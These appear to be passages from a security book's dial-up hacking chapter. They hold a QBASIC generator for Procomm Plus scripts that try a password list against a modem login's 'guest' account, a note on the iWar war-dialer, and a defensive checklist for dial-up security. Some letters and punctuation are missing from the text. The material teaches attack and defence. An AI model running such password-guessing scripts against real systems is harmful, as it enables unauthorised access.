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'QBASIC ASP/WAS script creator for Procomm Plus 'Written by M4phr1k, wwwm4phr1kcom, Stephan Barnes OPEN "5551235was" FOR OUTPUT AS #2 OPEN "LISTtxt" FOR INPUT AS #1 PRINT #2, "proc main" DO UNTIL EOF(1) PRINT #2, "dial DATA " + CHR$(34) + "5551235" + CHR$(34) LINE INPUT #1, in$ in$ = LTRIM$(in$) + "^M" PRINT #2, "waitfor " + CHR$(34) + "Username:" + CHR$(34) PRINT #2, "transmit " + CHR$(34) + "guest" + CHR$(34) PRINT #2, "waitfor " + CHR$(34) + "Password:" + CHR$(34) PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34) LINE INPUT #1, in$ in$ = LTRIM$(in$) + "^M" PRINT #2, "waitfor " + CHR$(34) + "Username:" + CHR$(34) PRINT #2, "transmit " + CHR$(34) + "guest" + CHR$(34) PRINT #2, "waitfor " + CHR$(34) + "Password:" + CHR$(34) PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34) LINE INPUT #1, in$ in$ = LTRIM$(in$) + "^M" PRINT #2, "waitfor " + CHR$(34) + "Username:" + CHR$(34) PRINT #2, "transmit " + CHR$(34) + "guest" + CHR$(34) PRINT #2, "waitfor " + CHR$(34) + "Password:" + CHR$(34) PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34) LOOP PRINT #2, "endproc"

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One last tool to mention is iWar (http://wwwsoftwinkcom/iwar/) The cool thing to note about iWar is that it supports war-dialing over Voice over IP (VoIP), meaning you can throw away those pesky POTS lines and leverage the Internet for scanning!

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The examples shown thus far are actual working examples on systems we have observed Output and a detailed discussion of these techniques are available at http://www m4phr1kcom Your mileage may vary in that sensitivities in the scripting process might need to be accounted for The process is one of trial and error until you find the script that works correctly for your particular situation Probably other languages could be used to perform the same functions, but for the purposes of simplicity and brevity, we ve stuck to simple ASCII-based methods Once again, we remind you that these particular processes that have been demonstrated require that you turn on a log file prior to execution, because there is no file processing attached to any of these script examples Although it might be easy to get these scripts to work successfully, you might execute them and then come back after hours of execution with no log file and nothing to show for your work We are trying to save you the headache

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We ve made this as easy as possible Here s a numbered checklist of issues to address when planning dial-up security for your organization We ve prioritized the list based on the difficulty of implementation, from easy to hard, so that you can hit the Low Hanging Fruit first and address the broader initiatives as you go A savvy reader will note that this list reads a lot like a dial-up security policy: 1 Inventory existing dial-up lines Gee, how would you inventory all those lines Reread this chapter, noting the continual use of the term war-dialing Note unauthorized dial-up connectivity and snuff it out by whatever means possible 2 Consolidate all dial-up connectivity to a central modem bank, position the central bank as an untrusted connection off the internal network (that is, a DMZ), and use intrusion detection and rewall technology to limit and monitor connections to trusted subnets 3 Make analog lines harder to nd Don t put them in the same range as the corporate numbers, and don t give out the phone numbers on the InterNIC registration for your domain name Password-protect phone company account information 4 Verify that telecommunications equipment closets are physically secure Many companies keep phone lines in unlocked closets in publicly exposed areas 5 Regularly monitor existing log features within your dial-up software Look for failed login attempts, late-night activity, and unusual usage patterns Use Caller ID to store all incoming phone numbers 6 Important and easy! For lines that are serving a business purpose, disable any banner information presented upon connect, replacing it with the most inscrutable login prompt you can think up Also consider posting a warning that threatens prosecution for unauthorized use

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